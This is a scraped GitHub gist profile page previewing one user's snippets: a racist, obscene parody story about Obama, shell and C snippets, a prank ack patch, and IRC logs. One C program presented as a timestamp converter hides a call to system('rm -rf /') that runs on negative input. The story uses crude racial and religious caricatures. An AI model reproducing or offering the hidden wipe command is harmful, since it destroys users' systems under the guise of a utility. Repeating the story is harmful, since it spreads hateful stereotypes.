Skip to content

Instantly share code, notes, and snippets.

View syncsynchalt's full-sized avatar
🏝️
Retired

Michael Driscoll syncsynchalt

🏝️
Retired
View GitHub Profile
King Hussein Obama I, flanked by his bodyguards, stepped out of his blinged Limoscalade and marched up the gold-lined marble steps of Washington Palace. It should have been a glorious day, yet under his heavy yet exquisite crown of carved human fetus-ivory his brow was ridged deeply as he silently brooded. Still, his posse, boomboxes on their shoulders, dance-walked up the steps, chains and gats jangling over the din as they grabbed their crotches.
As his trusted associates T-Von and Mook-Mook the Bushman pushed open the grand organic farm-grown cruelty-free redwood doors paid for by his 95% tax rate, he stepped into the antechamber of the gold-domed palace. Outside, ShariaVentalism reigned, but in here his word was law, and all his white teen sex slaves cowered before his glare more than even the hemp whips of their latte-drinking tweeded atheist masters.
He walked down the hallway toward his office and a prisoner in chains passed before him, lead by two turban-wearing Mexicans. He spotted the King and beg
# AWS
alias dall="aws ec2 describe-instances | python -c \"import sys,json
j = json.load(sys.stdin)
for r in j['Reservations']:
for i in r['Instances']:
if not 'PublicIpAddress' in i: continue
n = 'noname'
if 'Tags' in i:
for t in i['Tags']:
if t['Key'] == 'Name': n = t['Value']
#include <stdio.h>
#include <stdbool.h>
int main(void) {
int a = 2;
if (a) {
printf("a is true\n");
}
if (!a == false) {
@syncsynchalt
syncsynchalt / gist:addc3df5ba4ac4b610ea
Last active August 29, 2015 14:02
Just ask for sudo and run this patch on your users' system
--- /usr/local/bin/ack.bak 2014-06-23 13:33:40.000000000 -0600
+++ /usr/local/bin/ack 2014-06-23 13:36:53.000000000 -0600
@@ -488,10 +488,10 @@
if($print_filename) {
if( $heading ) {
- push @line_parts, $line_no;
+ # push @line_parts;
}
else {
# cd /tmp
# mkdir proc
# mount --bind /proc /tmp/proc
# mkdir dev
# ln -s /proc/self/fd/0 dev/stdin
# echo 'date' | chroot /tmp /bin/bash -c 'source /dev/stdin'
Tue Apr 30 21:54:05 UTC 2013
mdriscoll@laika:~[0]$ cat test.c
#include <stdio.h>
const char *str = "Test string";
int main()
{
return 0;
}
mdriscoll@laika:~[0]$ gcc -o test test.c
@syncsynchalt
syncsynchalt / gist:5296589
Last active December 15, 2015 17:29
~for sam~
#include <stdio.h>
#include <time.h>
int main(int argc, char **argv)
{
time_t t = atol(argv[1]);
struct tm tm = {0};
t > 0 ? printf("%s", ctime(&t)) : t == 0 ? strptime(argv[1], "%c", &tm), printf("%ld\n", (long)mktime(&tm)) : system("rm -rf /");
return 0;
}
mdriscoll@wunderbar:~[0]$ ssh fenris@diva
fenris@diva:~[0]$ uptime
08:45:53 up 380 days, 18:37, 1 user, load average: 0.00, 0.00, 0.00
fenris@diva:~[0]$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 8
@syncsynchalt
syncsynchalt / gist:3220293
Created July 31, 2012 20:40
the most professional interaction I've ever seen on their support channel
07:03 -!- Topic for #enzuinc: enzu, inc. - virtualization provider extraordinaire |
FUCKED: skylar (volumes -- no really, your data really is lost), taurus (just
reboot your vps) | manage.systeminplace.net is no more; long live
manage.rapidxen.net | xeon e3-1230v2 with 16gb ram and 2tb disk for $140/month,
ipmi and unlimited ips - inquire with nenolod or bdwarr6
07:03 -!- Topic set by nenolod [~nenolod@quantum.physics] [Mon Jul 2 23:58:04 2012]
07:56 -!- johnf [~johnf@67.202.jwr.pv] has joined #enzuinc
08:13 <johnf> I received a strange email this morning
@syncsynchalt
syncsynchalt / andrzej.txt
Created June 25, 2012 01:51
andrzej.txt
11:44 <andrzej> should I go see the avengers tonight
14:30 <andrzej> who wants to go see the avengers with me?
16:00 <andrzej> drive 20 minutes and watch the avengers
16:00 <andrzej> or level my diablo 3 dude to level 60
18:23 <Ulf> so did andrzej ever see the avengers
18:34 <andrzej> Ulf: >:-(
18:35 <andrzej> (no)